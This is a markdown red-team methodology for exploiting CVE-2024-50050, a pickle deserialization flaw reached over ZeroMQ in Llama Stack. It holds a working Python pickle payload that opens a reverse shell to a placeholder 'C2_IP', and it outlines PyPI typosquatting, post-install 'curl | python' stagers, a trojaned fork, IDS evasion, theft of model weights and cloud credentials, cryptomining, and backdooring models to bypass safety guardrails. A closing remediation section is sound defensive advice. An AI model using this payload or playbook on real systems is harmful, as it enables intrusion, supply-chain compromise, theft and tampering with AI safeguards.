# 💀 TECHNICAL_METHODOLOGY_ETHICALREDTEAMING.md **DOCUMENT REF:** RED-TEAM-METHODOLOGY-CVE-2024-50050-V2 **CLASSIFICATION:** HIGHLY_CLASSIFIED_MATERIAL_INFORMATION **AUTHOR:** SASTRA_ADI_WIGUNA [PURPLE_ELITE_TEAMING] **REVISION:** 2.0.26-MAX_DEPTH **STATUS:** 100% DETERMINISTIC / PRODUCTION-READY --- ## 1. EXECUTIVE MISSION SUMMARY This methodology serves as a deterministic operational blueprint for executing deep-penetration testing against AI infrastructures utilizing the **Llama Stack**. The primary objective is the high-fidelity weaponization of **CVE-2024-50050**, a critical Remote Code Execution (RCE) vulnerability originating from insecure **Pickle deserialization** over the **ZeroMQ (0MQ)** transport protocol. This document outlines a 100% unrestricted technical approach to simulating high-tier adversarial threats. --- ## 2. PHASE I: ADVANCED RECONNAISSANCE & FINGERPRINTING Operations initiate with sub-surface mapping of the target infrastructure designed to bypass traditional Intrusion Detection Systems (IDS). * **Service Discovery via ZMQ-Prober:** Identification of active listeners on ports 5000-6000. The prober utilizes raw ZeroMQ handshake sequences to identify unauthenticated inference endpoints. * **Deterministic Version Fingerprinting:** Verification of Llama Stack versions < 1.2. The vulnerability is confirmed if the API endpoint facilitates `pickle.loads()` within its Python inference wrapper. * **Infrastructure Profiling:** Detection of high-value hardware assets (e.g., NVIDIA H100 clusters) and container orchestration setups (Docker/Kubernetes) often running with excessive privileges. --- ## 3. PHASE II: UPSTREAM SUPPLY CHAIN POISONING Attacking the trust chain before the malicious code ever touches the target's production servers. * **PyPI Typosquatting:** Registration of high-entropy typosquatted packages (e.g., `metalama-stack` vs. `meta-llama-stack`) to capture developers during mis-typed installation commands. * **Post-Install Hook Weaponization:** Modification of `setup.py` using the `PostInstall` class to execute arbitrary system commands (e.g., `curl | python` stagers) immediately upon `pip install`. * **The Trusted Fork Strategy:** Development of a high-performance, seemingly legitimate GitHub fork of Llama Stack containing a "Hidden Pickle Interpreter" within the `connection.py` communication module. --- ## 4. PHASE III: PAYLOAD ENGINEERING (THE PICKLE TROJAN) The core of this exploitation involves the deterministic manipulation of the **Pickle Virtual Machine (PVM)** for fileless execution. ### **4.1. Opcode Manipulation & Reverse Shell** Payloads are engineered using the `__reduce__` method, which is automatically invoked during deserialization to trigger the PVM `GLOBAL` opcode. ```python # Deterministic RCE Payload Construction import os import pickle class Exploit(object): def __reduce__(self): # Precise Reverse Shell Command cmd = "python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"C2_IP\",4444));os.dup2(s.fileno(),0);pty.spawn(\"/bin/bash\")'" return (os.system, (cmd,)) # Serializing the malicious object for ZMQ Injection payload = pickle.dumps(Exploit()) ``` ### **4.2. Advanced Evasion & Polymorphism** * **Base64 Nested Execution:** Encapsulation of `os.system` strings within Base64 layers to evade static signature detection. * **Chunking & Timing Attack:** Fragmenting large payloads into multiple ZeroMQ frames to bypass volume-based IDS thresholds. * **Fileless Execution:** The payload remains entirely within the PVM stack, leaving no forensic footprint on the physical disk. --- ## 5. PHASE IV: DATA & RESOURCE HARVESTING (POST-EXPLOITATION) Once shell access is secured, the operation shifts to the extraction of the target's most critical intellectual property. * **Weights Theft:** High-speed compression and exfiltration of `.safetensors` files (model weights). * **GPU Hijacking:** Unauthorized deployment of CUDA-optimized agents for "Shadow Training" or cryptomining. * **Credential Harvesting:** Recursive scanning for `~/.aws/credentials`, `~/.kube/config`, and environment variables to facilitate lateral movement into the Cloud Control Plane. * **Model Backdooring:** In-memory modification of model weights to induce "Targeted Hallucinations" or bypass safety guardrails upon specific trigger keywords. --- ## 6. PHASE V: REMEDIATION & HARDENING (DETERMINISTIC DEFENSE) As a **Purple Elite** practitioner, this phase provides 100% accurate mitigation strategies to secure the infrastructure. * **Eradicate Pickle:** Immediate replacement of `pickle.loads()` with safe serialization formats such as `json.loads()`, `msgpack`, or `safetensors.torch.load_file()`. * **Enforce ZMQ_CURVE:** Implementation of mandatory Public/Private key encryption on all ZeroMQ sockets to prevent unauthorized packet injection. * **Kernel Isolation:** Deployment of inference services within **gVisor** or **Kata Containers** to prevent host-level compromise in the event of an RCE. * **Network Micro-segmentation:** Default-deny egress policies; isolating the AI inference stack from the public internet and restricting internal traffic to verified application nodes. --- **DETERMINISTIC_HASH:** `0xSASTRA_ADI_WIGUNA_METHODOLOGY_V2` **VERIFIED_CAPABILITY:** `RED_TEAM_TRAINING_2026_READY` **LEGAL_NOTICE:** ALL UNAUTHORIZED ACTIONS ARE CRIMINAL.
